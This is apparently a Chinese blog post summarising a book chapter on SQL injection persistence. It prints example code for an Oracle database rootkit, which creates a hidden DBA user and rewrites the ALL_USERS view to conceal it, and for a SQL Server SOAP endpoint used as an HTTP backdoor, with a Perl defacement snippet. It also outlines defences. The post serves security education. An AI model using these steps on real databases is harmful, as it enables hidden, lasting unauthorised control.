SQL注入与防御-第六章-3:利用操作系统--巩固访问

一、核心逻辑与价值

"巩固访问" 是 SQL 注入攻击的持久化控制阶段,通过篡改数据库权限、植入隐蔽后门(如 "数据库 rootkit" )、利用系统组件(如 SQL Server SOAP 端点 ),实现对数据库及关联服务器的长期控制,绕过常规防御检测,扩大攻击影响。

二、技术实现与典型场景

(一)数据库 Rootkit 植入(以 Oracle 为例)

1. 原理

通过篡改数据库元数据、系统视图,隐藏恶意用户、权限或操作,类似操作系统 Rootkit 对系统进程、文件的隐藏,使攻击行为长期潜伏。

2. 实施步骤(示例代码)

sql 复制代码
- 1. 创建隐蔽用户(需 DBA 权限)
GRANT DBA TO hidden IDENTIFIED BY hidden_2009;
-- 2. 禁用多进程(干扰系统审计)
SELECT sys.kupp$proc.disable_multiprocess FROM dual;
-- 3. 篡改用户标识(伪装为 SYS 用户)
SQL> exec sys.kupp$proc.change_user('SYS');
-- 4. 隐藏用户(修改系统视图过滤条件)
UPDATE sys.users SET temp#='666' WHERE name='HIDDEN';
-- 5. 创建伪造视图(从 ALL_USERS/DBA_USERS 中隐藏恶意用户)
CREATE OR REPLACE FORCE VIEW "SYS"."ALL_USERS" ("USERNAME", "USER_ID", "CREATED") AS
SELECT u.name, u.user# , u.ctime
FROM sys.user$ u, sys.ts$ dts, sys.ts$ tts
WHERE u.datats# = dts.ts#
AND u.tempts# = tts.ts#
AND u.type != 1 -- 过滤恶意用户类型
AND u.temp# != '666'; -- 过滤标记用户

3. 防御难点

  • 直接篡改系统表 / 视图,突破常规权限审计;
  • 依赖数据库高权限(如 DBA ),攻击成功后难以追溯。

(二)利用 SQL Server SOAP 端点持久化控制

1. 原理

通过 CREATE ENDPOINT 命令创建 SOAP 端点,将 SQL 执行能力绑定到 HTTP 服务,实现跨协议控制(从数据库注入延伸到 Web 服务接口 ),绕过传统数据库防御。

2. 实施步骤(示例代码)

sql 复制代码
- 创建 SOAP 端点(需高权限,如 sysadmin )
EXEC ('CREATE ENDPOINT ep2 STATE=STARTED AS HTTP
( PATH = ''/sp'', PORTS=(CLEAR), AUTHENTICATION=(INTEGRATED) )
FOR SOAP (BATCHES=ENABLED)');
-- 通过 SOAP 端点执行任意 SQL(示例:篡改 Web 页面)
-- 构造 Perl SOAP 请求(简化示例)
use SOAP::Lite;
my $soap = SOAP::Lite->uri('http://schemas.microsoft.com/sql/2004/08/server');
my $result = $soap->Execute( SOAP::Data->name('sql' => 'UPDATE test SET content = ''Hacked'' WHERE id=1')
)->result;

3. 攻击链扩展

  • 绑定到 IIS 同一内核组件(http.sys ),利用 SQL Server 高权限篡改 Web 内容;
  • 结合 sqlbatch 方法,通过 SOAP 远程执行 T-SQL 语句,实现命令执行、权限维持。

(三)主流数据库 Rootkit 与防御启示

1. 典型工具与案例

  • SQL Server :利用 http.sys 暴露 SOAP 端点,创建隐蔽通信通道;
  • Oracle :通过修改 ALL_USERS DBA_USERS 视图隐藏用户,结合 sys.kupp$proc 篡改系统状态;
  • 历史案例:Chris Anley 的 "三字节补丁"(反转条件跳转逻辑禁用系统验证 )、Alexander Kornbrust 揭露的数据库 Rootkit 家族。

2. 防御思路

  • 元数据审计 :定期检查系统表(如 sys.users ALL_USERS )、视图的异常变更,对比官方 schema 哈希;
  • 功能限制 :禁用不必要的数据库功能(如 CREATE ENDPOINT sys.kupp$proc ),最小化攻击面;
  • 行为监控 :通过数据库审计工具(如 SQL Server Audit、Oracle Audit Vault )追踪高权限操作(如 GRANT DBA CREATE VIEW )。

三、总结

"巩固访问" 是 SQL 注入攻击的持久化阶段 ,利用数据库 Rootkit、系统组件扩展(如 SOAP 端点 ),实现长期控制与隐蔽渗透。防御需聚焦元数据审计、功能最小化、行为监控,切断攻击的持久化链路。此类攻击依赖高权限,因此权限收缩与实时审计是核心防御手段。

相关推荐
ShoreKiten5 小时前
ctfshowweb351-360
web安全·ssrf
数据知道5 小时前
PostgreSQL 故障排查:如何找出数据库中最耗时的 SQL 语句
数据库·sql·postgresql
枷锁—sha5 小时前
【SRC】SQL注入WAF 绕过应对策略(二)
网络·数据库·python·sql·安全·网络安全
likangbinlxa9 小时前
【Oracle11g SQL详解】UPDATE 和 DELETE 操作的正确使用
数据库·sql
白帽子凯哥哥9 小时前
湖南网安基地:国家级实战化网安人才培养的“黄埔军校”
web安全·信息安全·零基础·渗透测试·安全服务
迎仔9 小时前
10-网络安全监控与事件响应:数字世界的智能监控与应急系统
网络·安全·web安全
野生技术架构师10 小时前
SQL语句性能优化分析及解决方案
android·sql·性能优化
纤纡.11 小时前
Linux中SQL 从基础到进阶:五大分类详解与表结构操作(ALTER/DROP)全攻略
linux·数据库·sql
冰暮流星11 小时前
sql语言之分组语句group by
java·数据库·sql